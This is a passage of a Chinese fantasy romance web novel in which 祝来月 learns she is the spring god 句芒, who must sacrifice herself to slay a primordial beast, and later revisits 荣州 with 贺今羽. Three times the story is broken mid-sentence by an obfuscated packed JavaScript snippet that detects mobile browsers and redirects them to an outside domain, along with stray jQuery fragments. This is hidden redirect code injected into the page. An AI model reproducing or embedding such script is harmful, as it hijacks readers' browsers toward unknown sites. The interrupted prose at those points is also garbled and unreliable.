当众人顺着楼梯离开了神殿的第一层时,鸾鸟便带领祝来月走向神殿的正中央,她站在地面上的圆形纹样的正中心,往上望时,才发现头顶的天花板上竟然镌刻着一棵古树,形状正如她腰间的木雕残片一般。
她看得忽然有些发晕,直到耳边传来鸾鸟的几声呼唤,她才终于回过神来。
祝来月低下头,定了定神,发觉地面竟然开始缓慢地塌陷,中间这块圆形纹样完完整整地往下坠落而去。
但却没有半分摇晃之感,祝来月可以轻易地稳住身形,至于一旁的鸾鸟仍旧保持着一贯的波澜不惊的神情。
没过多久,周遭的空间渐渐变得宽敞起来,祝来月意识到自己已经进入了一个地下的洞穴。只可惜一片漆黑,她什么都看不清。
直到脚底这块圆形地面停了下来,鸾鸟一挥手,整个洞穴瞬间明亮如昼。
这里与她曾经见过的蛇人族地穴不一样,丝毫没有阴暗潮湿之感,如同神殿一般由绮玉包围建成。
与其说是洞穴,倒不如说这里是地下宫殿。
地下宫殿的风格也如同神殿一般,空空荡荡,没有任何冗余的装饰或陈设,显得干净大气。
在这样一览无余的空间里,祝来月很快就发现了凤鸟的存在,她背对着她与鸾鸟,面朝墙壁,看上去像是等待许久了。
直到祝来月和鸾鸟走到她的身后,凤鸟才缓缓回过身来,对着祝来月行礼,这个礼节祝来月从未见过,但不知为何有种格外熟悉的感觉。
“尊神大人。”凤鸟说道,“我们继续方才的话题吧,您的时间不多了。”
“什么时间?”凤鸟提到这两个字的同时,祝来月想到自己等人与被拐失踪的璃儿她们的时间上的出入,心想着是否与此事有关。
凤鸟像是看穿了祝来月的心思一般,说道:“尊神大人想必也已察觉到了,诸夭之野的时间流逝不同与人界,只因此地已经不算是人界的一部分了。”
“莫非此地是神界么?”祝来月想起她说到的什么“神力”、“伪神”之类的话,但她很难相信自己竟然误打误撞来到了从未有一个人踏足的神界。
“不。”凤鸟在恭敬地听完祝来月的疑问之后,很快地反驳了她,“人族是不可能到达神界的,诸夭之野居于人界与神界之间,是伪神之境。”
伪神之境。这个词哪怕翻遍了整个人界的典籍恐怕都无法找到半点记载吧。
“这一切与我有关吗?”
凤鸟依旧高挺着头颅,修长的脖颈完美地展现了她作为百鸟之首的尊贵。
而这样尊贵的生灵却安静地等待着祝来月的发问,绝不打断、绝不插嘴。
“是的,尊神大人,这一切都因你而存在。”
43. 神战
在凤鸟说完这句话之后,祝来月注意到她身后的那副壁画,与在蛇人族地穴中看见的极为相似,只是看上去更加和谐。
祝来月静静地看着她,觉得不论她接下去要说些什么,她都能够承受。
“尊神大人知道那只七百年前降临于人界的极恶之兽吧?”
“知道,只是它的来历不明。”
“此兽不属于人界,超脱于六界之外,而它的来历——”
一千年以前,水神共工与火神祝融交战,大战两百余年,仍未决出胜负。
但身居众神之位,本应摈弃了战意、杀意,然而不知出于什么原因,两神交战,直到他们自己都忘记了战斗的缘由,才在众神的阻挠下停止了莫名其妙的战斗。
众神头一回经历战场,未曾想到,即使阻止了共工与祝融之战,还是造成了最糟的结果。
两神交战时的杀意与戾气滔天,不知不觉中,在天地之间产生了史无前例的一只极恶之兽。
因它不属于六界之中任何一界,在小心地躲过了众神的耳目后,它便在六界内流窜。直到它抵达人界,终于吸收了足够的杀意与戾气,便有了七百年前人界生灵涂炭的血腥历史。
讲到此处,凤鸟停下了叙述,眼神捉摸不定地望着祝来月。
当她提到“祝融”二字之时,不知为何,祝来月的内心深处隐隐作痛。
“可我仍然不解其中与我的关联,难道我是祝融或是共工么?”她不禁提出了一个好笑的猜测。
果然,这个猜测被凤鸟否定了,只见她轻轻摇了摇高贵的头颅,淡定地说道:“尊神大人并非这两位神祇之一,而是司春之神句芒。”
诸夭之野的时间流逝要比人界慢上许多,因此,祝来月等人不可在此地久待。
当她前往楼上找到正在用膳的众人汇合时,贺今羽发现她的脸色不太好,神情比刚才匆匆赶回来还要严肃许多。
但此刻人多,他并没有询问些什么。
“我们即刻就要出发。”祝来月简短地说道。
“为什么?”祝未璃一边吃着东西,一边问道。
“时间不多了。”祝来月回答道,“诸夭之野的时间流逝不同于人界,按照人界的时间流逝,我们已经失踪快两年了。”
“不对呀?”祝未璃一皱眉,怎么都算不清楚,“我和聂姐姐在这里三四日,你们在外边两个月,而现在自你们来后到现在也没有过去一日,怎么有两年呢?”
“不,经过轩辕丘之后,我们便已经不算在人界了。”
“你的意思是,轩辕丘到诸夭之野的这段时间已经不在人界范畴内了么?”景怀卿说道。
“不错,中间这一段的时间流逝比人界要慢许多,而诸夭之野则是比这一段路上的流逝还要更慢。”
这一切,都是凤鸟告知她的。
也就是说,自人界、渡海、诸夭之野,这三者之间的时间流逝都不一样,并且愈接近诸夭之野,时间便越是缓慢。
从轩辕丘离开之后,已经半月有余,据凤鸟所说,大约已经过去了一年多。
在了解前因后果之后,众人瞬间明白了祝来月焦急的缘由。
“我们失踪了这么久?娘一定着急死了。”聂棋缘抱着脑袋长叹一声。
“这些都是次要的,眼下还有一件事,我们不得不着急起来。”祝来月说道。
众人此时已然失去了胃口,干脆按照祝来月的安排迅速离开了神殿,她说,神鸟在岸边等待他们。
在往岸边赶去的路途中,贺今羽问祝来月,她所说的更要紧的事是什么。
“那只极恶之兽,即将破封而出。”
他们赶到岸边时,没有见到那两位神秘的女子,而是看到了两只无比巨大的神鸟。她们的华丽羽翼在阳光下比海面更加耀眼闪烁。
纵使是祝来月已经见过她们的原身,但在渐沉的夕阳下见到这样神秘的生灵还是不禁让她有几分愣神。
但她很快在这种震撼中回过神来,招呼众人跃上凤鸟与鸾鸟的背上。
凤鸟的尾羽五彩斑斓,在从海面吹来的微风中轻轻摇曳,她的脖颈不出意料得十分修长,笔直地挺立着。
至于鸾鸟,祝来月几乎没听她怎么说过话,一直都是由凤鸟解释一切。她淡漠冰冷,正如她一身青蓝冷然的羽毛一般,让人下意识地想要保持距离。
众人分别坐到了这两只传说中才存在的生灵的宽大脊背上,当然他们也没有忘记任劳任怨的玄捷龟旋风。
当他们准备好之后,祝来月用所有人都能听见的音量说道:“时间紧,我们路上再说。”
话音刚落,他们身下那两只无比硕大的神鸟在斜照的夕阳之下忽一展翅,向地面投向了巨大的阴影。
她们羽毛间夹杂的一些金色绒羽在振翅的同时在众人的眼眸之间闪烁,他们微微闭上了眼睛,直到眼睛适应了这样耀眼的环境,才纷纷睁开眼睛。
“我与神鸟们商议好了,接下来,她们会送我们到轩辕丘,但接下来就需要我们自己赶路了。届时羿公子、聂姑娘你们先分别回震云派和玲珑城,将景大侠和璃儿回灵霄宗,将凶兽即将出世的事分别与家中长辈商议,至于贺今羽,我想拜托你帮我最后一次。”
她说着,身子微微转向贺今羽的方向,目不转睛地看着他。
这让贺今羽心中略微升起一些怪异的情愫,他下意识地迅速应道:“好。”
因为凤鸟飞掠过海面,众人的发丝都在风中飞扬。贺今羽回望向祝来月,虽然她的脸色有些苍白,但胸有成竹的眼神却似乎从未改变过。在风中,他隐隐能闻见她发丝间夹杂的淡淡的桃花气息。
分明不是春季,却有这样沁人心脾的香气。
之后祝来月说的什么,他似乎没有听进去多少,只记得自己一直在说着“好”、“嗯”之类的话。
直到众人投向他的目光渐渐变得玩味,连祝来月的脸颊都有几分微红时,他才反应过来走了神。
他为了掩饰尴尬,假装咳了几声,凑到一旁的景怀卿旁边,耳语道:“方才说什么了?”
景怀卿暗笑两下,看看祝来月,又看看贺今羽,“方才你走神,只一味应好,羿修便说‘你怎么盯着祝姑娘发呆啊?莫不是对她芳心暗
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14927767|159153||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
许了?’,结果你还是说‘好’。”
“什么芳心暗许。”贺今羽觉得这话太扯了。
凤鸟与鸾鸟的飞行速度奇快,但几人坐在鸟背上却丝毫不觉得晃荡。几乎不出一炷香的功夫,神鸟们便掠过一望无垠的大海和陆地,抵达了轩辕丘脚下。
原本是需要经过半个月长途跋涉的路程,在这瞬息之间便结束了。
直到众人从神鸟的背上下来,脚踏着结实的地面,还是觉得眼前的景象太不真实了。
这下也终于能理解,她们是如何做到在一夕之间往返在灵霄宗、玲珑城与诸夭之野的了。
凤鸟并未化身人形,以鸟身与祝来月最后说了一句便同鸾鸟一起飞往诸夭之野的方向了。
“尊神大人,希望您早日完成使命。”
看着神鸟离去,祝未璃很想问问姐姐,她的“使命”是什么,为什么神鸟要称呼她为“尊神”?
但姐姐转身时投向她的眼神却让她没能说出口。
那是头一回在姐姐的脸上看到的复杂神情:认真、肃然,还有些犹疑和……恐惧?
姐姐怎么可能会害怕?祝未璃不禁想笑,却没能笑出来。
只因她实在太了解祝来月了,至今十六年,没人能比她更懂祝来月一点点细微变化的含义,说得夸张一些,哪怕祝来月只是眉眼微微低垂,她都能第一时间察觉出来。
所以她脸上的情绪无疑是有恐惧的。
但姐姐究竟在怕什么?
自己可以替她分担些许吗?
祝来月亦是极为了解璃儿,像是看出她的担忧,将脸上的疲惫散尽,挂上安慰似的微笑看着她,对她说:
“璃儿,回宗路上小心些。”
聂琴机突然开口,道:“你和贺公子准备做些什么?”
“希望此事结束之后,所有人都可以不必担负自己不愿承受的使命。”祝来月的话实在太没头没尾,不像是在回应聂琴机的话,更像是自言自语。
但聂琴机似乎懂了,她眼神复杂地看着眼前十分陌生的祝来月。
“好了,事不宜迟,我们都尽快出发吧。”
祝来月提醒道。
话毕,几人兵分三路,各自奔向自己的方向。
景怀卿与祝未璃是要回灵霄山脉的,自不消多言。
祝来月和贺今羽则是另有目的,并不与他们同行。
至于羿修嘛,他认为只要在传书中和老爹说一声就是了,如今凶兽降世,难免世道动乱,坚持要护送聂琴机她们回玲珑城。
再者,其余两组人皆善御剑而行,聂家人这边有旋风在,赶路也能快一些。
聂棋缘盯着羿修,皱着眉:“是吗?听你一说好像百利而无一害嘛!”
“对啊对啊,我可不像那些假清高的人,我们震云派个个都是热心肠。”
“可我怎么就这么不愿意和你一起赶路呢?”聂棋缘冷哼几声,表示着对他个人的不满。
“那也不成,我好人做到底咯。”
羿修的性子也很有几分犟,在冥冥之中与他口中那位“假清高”倒是有了些共同点。
44. 荣州
再返荣州,是祝来月的决定。
贺今羽没有问原因,只是答应了,然后跟着。
当他们依靠御剑赶到荣州时,灵霄宗那边景怀卿的传书也紧跟着到了。
信上说着,距他们杳无音讯果然已经一年有余,正巧已经过了这一年的惊蛰之日;又说到戾杀渊——也就是封印凶兽之地——的异动,这一年多以来,整个江湖上下人心惶惶,灵霄宗也未曾再招新弟子入门了。
这样的情景贺今羽和祝来月早已预料到一二了,毕竟一边是屠戮生灵的凶兽再度出世,一边又是江湖新一代的顶尖高手接连失踪,难免动荡。
这样看来,那震云派的羿修也并非空有蛮力而无半点头脑之辈,想必正是提前料到了这一点,才坚持要陪同聂琴机她们吧。
贺今羽一挥手,浮现在半空中的景怀卿的传书便消失不见了。
此刻,祝来月正坐在一颗巨石之上,歪着头看他,嘴角微扬,“上一回来仿佛还在昨日,偏偏已经是两年后了。”
是的,那一回她和贺今羽因追查残片下落一事还恍如昨日,正巧今日亦是上巳节。
在祝来月坐着的这块巨石不远处,是那片窦娘常常采摘的花海。
那夜她晕厥在花海,血液流入土地,花海的花草疯长,此时总算知道了缘由。
甚至于养父母在收养她之后,家中桃园格外茂盛这件事也有了原因。
原先她为了知道自己的身世踏上行程,如今真知道了真相反而也高兴不起来。
听着她的话,贺今羽仿佛陷入了那段回忆当中。
令他印象最深刻的,恐怕还是“成亲”那日,藏在正红色盖头底下他看不清的那张脸。
而这些时日以来,他似乎仍旧看不清,仿佛隔着一层又一层厚厚的纱幕,她的心思、想法、感情,贺今羽一概不知。
这时,在不远处忽然传来一阵阵嘈杂喧嚣声,细细一听,祝来月和他便知道那是上巳这日踏青玩闹的青年人们的嬉笑声。
祝来月忽然从巨石上一跃而下,面朝着人声鼎沸处对贺今羽说道:“我们也去瞧瞧吧。”
尽管时间紧急,但这一时半会儿的休憩还是很可以存在的。何况贺今羽为了赶路已经多日没有放松下来了。
自诸夭之野之后,祝来月也明白了自己为何难以修炼出灵力了。
只因她身上的是神力,并且随着残片的收集而愈来愈多,直到流织谷那会儿收集到了第四块残片,漫溢的神力受到人界法则之力的压制,导致了她的惑心魇和昏迷。
但那次濒死像是渡了场劫,此后她便能正常容纳附着于残片之上的神力了。
从凤鸟口中得到这些困扰她许久的问题的答案后,凤鸟将第六片木雕残片给予了祝来月,并告知了她第七块残片、也就是最后一片的下落。
“好。”贺今羽说道。
说完,他们一同走向了那片曾经和那个少城主同游过的海棠花树林。
只是不知那个行事张扬的少城主在喝了忘忧茶后,如今怎么样了。
走进海棠花树林,一股熟悉的海棠淡香扑面而来,海棠本没什么香味,但在这样一大片花林中,还是可以闻到些许的。
此地十分热闹,四处都是欢闹的人群,按着贺今羽的性子,他是绝不可能主动来这种喧嚣之地的。
但此刻看他的神情,却有十二分的甘之如饴。
离海棠树林最近的是一片芍药花圃,曾经康行渡在摘下一朵最美艳的芍药后就被其父逮走了,可惜了那朵艳丽的芍药跌入泥土。
如今再看这片芍药花,依旧盛开得灿烂。
“想来春日是不知江湖动荡的。”祝来月看着四处生机勃勃的花儿,不禁微微叹息一声。
她本想着在春日里踏青,或许能散开一些愁绪。结果看着这些盛放得无忧无虑的花儿,反倒勾出了许多愁。
直到眼前被一片艳红色覆盖,祝来月顿时从万千忧心之事中回过神来。
她看见一朵盛放的、极尽妍态的艳丽芍药正正好好地悬在她眼前,而花柄上覆着一只手,修长、骨节分明,隐隐能看到指腹上的老茧。
顺着那只手望去,是那张她太熟悉太熟悉的脸庞,平日里在那张脸上她看到的最多的还是固执和冷漠,也许这是他的习惯。
但这张冷峻的脸上,此刻竟然充斥着紧张,甚至连耳根处都微微泛红。
送花当然不是新鲜事啦。
但偏偏今日是上巳节,贺今羽送给祝来月的又偏偏是芍药花。
芍药定情。
康行渡在向他们介绍荣州城习俗时提到的这点时所说的话还在耳边回荡。
贺今羽不可能不知道其中意味。
从前祝来月听到他们说什么贺今羽对自己的心思不纯之类的话,皆是左耳朵进,右耳朵便出了。
一是因为她难以想象一个人对另一个人产生情意的样子,所以无法判断此事真伪。
二是贺今羽这种人除了剑道、修炼、父亲的命令以外,很难想象这个犟种还会对什么人产生兴趣。
三是……好吧,祝来月自己也说不上来为什么了。
只是此时此刻,周遭喧闹,她的耳中传来的声响却只剩下了振聋发聩的“怦怦”声。
见她迟迟未曾接过那朵芍药,纵使固执如贺今羽,也不禁产生了几分退缩之意。
果然还是自己多想了。贺今羽想到。
那日康行渡分明说的是“彼此有情之人”,才会赠予芍药定情。
谁知道他究竟是怎么鬼使神差地去摘了芍药?还偏偏挑了朵最大最好看的花儿,毫不逊色于那日康行渡摘的那朵。
他胡思乱想之际,手中的芍药忽然消失不见,不知怎么跑到了祝来月的手上去了。
“贺今羽……”
祝来月垂眸看着手中盛放的花儿,脸上的悲伤神情却远远多于喜悦,让刚刚又惊又喜的贺今羽顿时也跟着蹙起了眉头。
他想弄清她悲伤的根源,刚说出:“怎么……”还未及说完,耳边忽然炸起一道熟悉的声音。
“祝姑娘!贺大侠!你们怎么在这儿?”
两人甚至都不必转头,便能知道这极具辨识度的张扬口吻是出自哪位仁兄之口。
康行渡。
也是,当初喝了忘忧茶,他忘掉的只有绮罗那部分。
早知道该想个法子让他把那段时日的一切都忘个干净的。贺今羽暗自想到。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14931976|159153||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>说时迟那时快,康行渡连蹦带跳地蹿到两人身边,看到祝来月手中那朵芍药时,震撼地大叫一声,简直吓坏了在一旁谈情说爱的路人们。
祝来月和贺今羽的心力再强大,此刻也难免有些想要找个地洞钻一下。
正当贺今羽想要责他一惊一乍时,康行渡连忙说道:“抱歉,本少实在是没想到你们俩竟然……”
很奇怪么?贺今羽的眉头锁得更紧了。
“不过也是,也只有祝姑娘这样大方的性子才能容受贺大侠的怪脾气吧。”康行渡下意识说了一句后,感受到身侧那股阴测测地目光死死地盯着自己,意识到自己说错了话。
他连忙又转移注意力,提议道:“快到午时了,我们去吃饭吧?本少爷请客。”
果不其然,康行渡准备请客吃饭的酒楼正是那家神秘至极的花间楼。
此地亦是祝来月此行的主要目的地。
木雕残片的最后一片就在这座建成了七百年的酒楼之内。
既然康行渡已然将绮罗忘得一干二净,想必他仍旧心悦于窦娘吧。
坐在花间的雅座之上,祝来月不着痕迹地观察着康行渡望向正在忙碌的窦娘的眼神。
奇怪的是,他似乎没有了初见时那股子热忱的情意。
坐下没多久,因小二向窦娘说了句什么——祝来月猜测是告知她有熟客来了——窦娘便来到了祝来月他们的边上。
“少城主。”
“窦娘,还是老样子。”康行渡自然地说出这句话,想是习惯之举。
他突然想到对面还坐了两个人,又补充了一句:“祝姑娘,你们想吃什么尽管开口。”
祝来月先是让贺今羽点,但他似乎没什么胃口,她只好作罢,随便加了一两道菜色便不再点菜。
一旁静静站着等待的窦娘在听到祝来月的声音时,忽然一愣,“可是那位祝姑娘吗?”
“窦娘还记得我?”
不过两面之缘,时隔两年,眼前这位繁华酒楼的掌柜却仍旧记得她这一个不起眼的客人。祝来月觉得有些意外。
“怎么会忘呢?”窦娘的笑容平和、亲切,“你赠予我的那壶芳菲酿,芳醇绵甜,饮之难忘。”
“既然如此,想必窦娘也未曾忘了我们之间的约定吧?”
“自然。”窦娘说道,“今日上巳,花间楼此刻格外忙碌些。待到夜里,祝姑娘不妨在我这儿歇下。”
祝来月欣然应下。
一番话毕,窦娘离开了雅座,转身和小二们吩咐下去后便又开始了忙碌。
康行渡眨着眼睛看着祝来月,说道:“什么约定啊?怎么都没听你们提过你们认识窦娘?”
“上回来荣州时结识的,不过是些小事。少城主这些年可有什么忧心之事么?”
“忧心之事……”康行渡陷入沉思,半晌,他才缓缓说道:“我也不确定这算不算忧心之事。”
“少城主不妨直言。”
“这两年我总反反复复做同一个梦,一只赤狐,它给我的感觉很熟悉。”康行渡说着,忽然一顿,颇有些不好意思地挠挠头。
他又接着说道:“也不怕你们笑话我,其实每回梦见赤狐,转醒之时,我总是流着眼泪。”
45. 金鱼
赤狐。
想起绮罗时,祝来月总是有几分感慨。
说来也奇怪,上回见她时,明明是难以理解她为一个人又冒死去冥界、又是等待几百年,到头来还甘愿放他自由。
眼下,当康行渡提到赤狐时,原本觉得绮罗太奇怪的祝来月,此刻竟然有些动容。
不知究竟是哪里发生了变化。
不知她究竟怎样了。或许她正是知道有朝一日,祝来月一定会再回荣州,才会说出“我就在荣州等你”这句话吧。
“少城主从来没在现实中见过那只赤狐吗?”
康行渡犹豫着摇摇头。
当夜又是上巳节的庆典,荣州城内仍旧热闹繁华。
唯一不同的是两人的心境。
以及那一枝被祝来月攥在手心的芍药。
也许是因为戳破了些什么,她和贺今羽之间反倒变得生疏起来,午时同康行渡一起用膳也是,两人都在极力避免着对视。
好在两人相邻而坐,实在也很难对视起来。
气氛变得越来越古怪了。
贺今羽率先开了口,说道:“那日,神鸟都对你说了什么?”
这一路上,祝来月对这件事几乎只字不提,贺今羽又是个很少问这问那的人。但眼下也只有这些还能聊几句了。
其余的话题,贺今羽实在不知该怎样和她交谈。
祝来月在这个话题上显得格外缄默,若是换了璃儿问她,或许她是绝无可能开口的。
她与他并肩漫步在人山人海的街市中,吆喝声、嬉笑声,偶有的细微哭泣之声不绝于耳。
祝来月的声音变得很轻很轻,像是犹豫着,不想让他听见。
但修炼之人五感远胜普通百姓,贺今羽还是将那句话一字不漏地听了进去。
“若是此事结束之后,你仍活着,你想去做些什么?”
贺今羽虽然想不通这与他刚才的问题有什么关联,但内心深处竟然隐隐作痛。
“想游尽世间万千。”
他说这话的时候,祝来月并没有看向他,只是垂首盯着足尖。
若她此刻像往常一样勇敢一些,抬起头,一定就能看到贺今羽凝睇她时的动容。
祝来月想到自己的心愿其实也是看遍世间万物。
“是不是发生什么事了?”
贺今羽知道那一定是一件令她难以承受的事,否则在这段时间里她不会这样常常失神。
“贺今羽,你一直承担着诛灭凶兽之责,可曾想过放弃?”祝来月忽然问道,“我一直认为这世上没有什么与生俱来的使命,但真落在我自己身上时,我却像你一样,不能逃避。”
她忽然觉得自己之前开导贺今羽放下那些莫须有的“使命”啦、“责任”啦的时候,说得那些话有些可笑。
一个本就置身事外的人,怎么能够轻易地用三两句话就让一个人放下已经肩负了近二十年的责任。
等到她也走到了相同的位置上,才发现这根本不是说放弃就能放弃的事。
“她们究竟对你说了什么?”
贺今羽追问道。
祝来月将手心里的芍药攥得更紧了,她摇摇头。
“等到一切尘埃落定,你自然就明白了。”
谁知贺今羽突然一阵冲动,伸手去拽她的手,使她不得不直视着自己。
这个举动让祝来月几乎吓了一跳,瞳孔骤然缩小,倒吸一口凉气,但她很快反应过来,又干脆地把头别了过去。
她实在是没法看着他的眼睛。
两人这样僵持了一会儿,祝来月察觉到投在她和贺今羽身上的视线越来越多时,她又转回头,小声说道:“我们换个地方说好吗?”
但她还是低估了贺今羽的倔强程度。
他听完她的低声“警告”后,纹丝不动地看着她。
“放手。”
“不。”
“……”
祝来月不禁沉默。
她愈发觉得那些视线太过灼人,祝来月终于明白自己和一头倔驴钻牛角尖是不会赢的,于是她难得地妥协道:“你放手,我告诉你全部的事。”
“好。”
好了,这位倔驴也乖乖妥协了。
祝来月牵着“倔驴”往人烟稀少的小巷里走,但贺今羽似乎仍旧觉得人太多,征求了她的意见之后,便带着她跃至一家极高屋舍的屋顶之上。
这座楼的高度在荣州城内仅次于曾经康行渡宣布亲事的木樨台。
“你可记得轩辕丘之后,你们身上的灵力忽然失效,只有我还能使用一事吗?”
“自然。”
“轩辕丘是两界交界之处,只不过它连接的并非妖界,而是伪神界。”祝来月解释道。
直到这里,贺今羽还能够理解,他跟着说道:“人族之灵力在神界无法施展,这诸夭之野虽据你之言属于伪神界,但看来与神界别无二致。”
祝来月微一点头,“是的,故此,在轩辕丘之后的时间流逝与人界截然不同。”
贺今羽思考“伪神界”与祝来月之间的关联,忽然想到,无论是长相诡异的蛇人一族,又或是外表尊贵的两只神鸟,竟不约而同地称祝来月为“尊神大人”。
一旁的祝来月似是注意到了他的神情变化,“你是否明白了一些事?”
“我不确定。”他看向祝来月,对方的脸上正挂着一种略微苦涩的微笑,“可这怎么可能呢?”
“起初我也觉得太荒唐,”祝来月说,“以为这一切是一个精心设计的骗局。可我想不出他们大费周章做这些事的目的,也想不出任何一个原因可以解释我经历的这些异常。”
贺今羽试图静下心来听她说完一切。
祝来月将凤鸟对她详细诉说的身世经历简单地概括了几句告诉了他。
“就算你真是句芒,凶兽和你之间有何联系?”
“春神句芒于七百年前降临人界,其目的便是彻底诛灭这只由两神交战的杀意与戾气所化身的极恶之兽。”
“可神族在人界同样施展不了神力,要如何诛灭?”
“唯有一个法子,以身为祭。”
祝来月本以为自己将这件事说出来会多少有些痛楚,但事实上她比自己想象得要冷静得多。
说不准是已经收集的六块残片中留存的神力与神识正在慢慢影响着她。
按照凤鸟的说法,神识会使她渐渐失去人的本性,例如恐惧、欲望等等,皆会慢慢消失不见。
尽管如此,这几天来,祝来月仍旧常常陷入神族不会有的迷茫与不安当中。
以及,对眼前这个人的感情,好像也并没有消失。
如果不是这六块残片的影响,纵然是祝来月,恐怕也会因为难以承受这些突如其
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14935678|159153||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
来的责任而彻底崩溃吧。
毕竟这一切都与她前十七年的人生所一直坚持的信条相悖。
贺今羽愣了许久,才堪堪问道:“为什么非得是句芒?”
是啊,两神交战没有春神,为什么神族要派一个不相干的神来替祝融和共工善后?
“只能是句芒。”祝来月说道,“句芒为司春之神,拥有的是万物之生的神力,唯有她可以将因杀意而化形的凶兽彻底消灭。”
贺今羽注意到,她在说这些话的时候,并没有说“我”,而是将句芒当成了另一个人。
“我不信只有她可以消灭凶兽。”贺今羽定定地看着她,语气坚定不容置疑,“这种用牺牲换来的安稳,我绝不允许。”
既然你不愿意做这个句芒,何不如让我继续肩负这个诛灭妖邪的责任,你继续游历整个人界,不做神又怎样?
贺今羽在心底暗暗想到。
祝来月不禁轻轻地笑了一声,但那笑声太轻了,轻得像是一声叹息。
“这世上的牺牲几时停过?人界这七百年来的安稳,何尝不是以戚少雁等修士的性命换来的?”
“你不是最厌烦他人说什么必须的使命吗?”贺今羽反问她,“怎么如今偏要去承受这些……这些本不该你来承受的……”
他没能说完,就被祝来月打断了:“那谁该承受?戚少雁?还是你?”她刻意加重了“该”这个字的语气。
“好,谁都不该,尤其是你。”
“我忽然后悔对你说这些了。”
贺今羽看着她因懊恼而紧紧蹙起的眉头,一时失语。
再僵持在这个问题之上已经毫无意义了。
祝来月干脆从屋顶上站了起来,对着贺今羽勉强扯出一抹笑意,“我们去逛庆典吧?多难得的日子。”
贺今羽也不愿意再和她争执下去,只好“嗯”了一声,同她一起回到小巷中。
庆典怎么逛都和上回的没什么差别。人界是过了两年,但在祝来月自己的时间里,也才过去大半年的时光。
上一回靠着贺今羽才有的一些投壶比赛之冠,这次算是熟能生巧,祝来月自己就可以赢上几回。
这样反倒没了什么意思。
祝来月不再参与什么投壶比赛,好不容易升起来的几分兴致又慢慢降下去。
百般无聊之间,忽然,她的余光瞥见了一个摊贩,摊贩的双肩上担着一根竹制扁担,扁担两头各挂着一个大大的圆形木盆,木盆上覆着木制的盖子,木盖子半开着。
这位摊主不同于其他小摊的造型立刻吸引了祝来月的注意,她朝着摊主走过去,才看到这两个大木盆里头装着许多赤红色或者雪色、墨色的小金鱼。
摊主见到来客,连忙招呼道:“小金鱼!客官随意看看,十文钱买一条还送一条。”
“金鱼?”祝来月喃喃道,不知她想到了什么,忽然莞尔一笑,“我要两条,多谢。”
她细细挑选了一黑一白两条金鱼,将三文钱递给摊主之后,摊主便将那两条小金鱼装在一个粗糙的陶制罐子里递给了祝来月。
“怎么突然买鱼?”贺今羽在一旁问道。
祝来月一边接过粗陶罐,顺手递给了贺今羽,一边又说道:“送你的,金鱼。”
贺今羽发觉到她似乎在暗笑,一下就明白了她的一语双关,接过粗陶罐后不禁也跟着笑。
46. 再会
不知是不是每一个上巳节的夜里都有这样好的天气,万里无云,唯有月白风清。
此时也已经深了,繁华的荣州城中也只剩下几处酒家仍旧灯火通明,其余大多都皆歇了业。
花间楼便是其中一家。
原本凭着她家的生意,开到后半夜也应是常情。今日遇上庆典,反倒比平日还要早些歇业。
窦然关起门户之后,和众多小二们一起收拾完毕,便上了楼,去到客房处。
花间楼对外并没有开放留宿的业务,唯有那么一两间,在她的友人寻她时可以借宿几晚。
只是花间楼七百年来翻新十余次,这一两间客房却再没人住进来过了。
直到两年前,窦然遇见一个女子,她的身上有她熟悉的气息。
那个女子赠她一壶酒,问她:“这七百年来,可曾有过什么事、或者人,在你的心中留下印记?”
她没过多久就离开了荣州,但窦然清楚,她一定还会再回来。
于是这间闲置的客房,终于被她收拾出来,打扫得一尘不染。
为的只是那一个约定。
祝来月在客房内等待着结束酒楼工作的窦娘,百无聊赖,桌上摆着一盏浓茶。
她忽然想到贺今羽,庆典之后,她对他说还有些事要独自处理。
这人虽然固执,但也有一个好处,绝不多问。除了实在想知道,比方说今夜两人间争执的问题。
他没说什么便和她在花间之外分别了。
此刻大抵是在一个寂静之地练剑吧。祝来月想着,啜饮了一口浓茶。
才刚想着,客房的门口传来三声叩门声。
祝来月放下手中的茶盏,起身开了门,正是她所等待的窦娘。
眼前这位女子年岁不详,仅看外表,也比祝来月年长不了几岁。
但她身上的疑云重重,祝来月实在太感兴趣。
二人围着圆桌坐下,祝来月从壶中替窦娘也沏了一盏茶,对方因不大饮茶便谢绝了她的好意。
“祝姑娘,为何想知道我这样一个俗人的所见所闻呢?”
“窦娘岂是俗人?”
窦娘听到此话后便摇头笑了一笑,“不过是一个酒楼掌柜,所见所闻,也只是些家常小事。”
祝来月又问道:“难道窦娘此生就没遇见一件事或者一个人令你朝思暮想?”她的语气中显然很不相信这一点。
“自然是有的。”窦娘那双晦暗的眼睛此刻不知因为想起了什么而蒙上一层雾,“祝姑娘既然认我做朋友,我也没什么可隐瞒的了。”
窦娘顿了顿,眉头一会儿蹙起、一会儿又舒展开,唇角时而带笑又时而不起波澜。好一会儿,她才接着说道:
